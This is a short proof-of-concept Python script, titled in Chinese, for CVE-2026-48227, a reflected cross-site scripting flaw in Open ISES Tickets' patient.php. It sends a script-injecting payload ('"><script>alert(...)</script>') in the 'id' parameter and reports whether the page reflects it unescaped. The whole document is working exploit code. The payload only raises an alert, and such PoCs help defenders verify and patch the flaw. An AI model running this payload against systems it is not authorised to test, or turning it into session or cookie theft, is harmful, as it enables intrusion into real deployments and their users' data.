CVE-2026-48227 Open ISES Tickets反射型XSS漏洞

# PoC for CVE-2026-48227 # Reflected XSS in Open ISES Tickets via patient.php import requests def check_xss(target_url, payload): """Attempts to verify the XSS vulnerability.""" # The vulnerable endpoint accepts 'id' and 'ticket_id' parameters params = { 'id': payload, 'ticket_id': '1' } try: # Sending a GET request (Simulating an authenticated user click) response = requests.get(target_url, params=params) # Check if the payload is reflected unescaped in the response if payload in response.text: print("[+] Potential Vulnerability Detected: Payload reflected in response.") return True else: print("[-] Payload not reflected or patched.") return False except Exception as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://target-ip/patient.php" # Simple alert payload to test execution xss_payload = '"><script>alert("CVE-2026-48227")</script>' print(f"Testing {target}...") check_xss(target, xss_payload)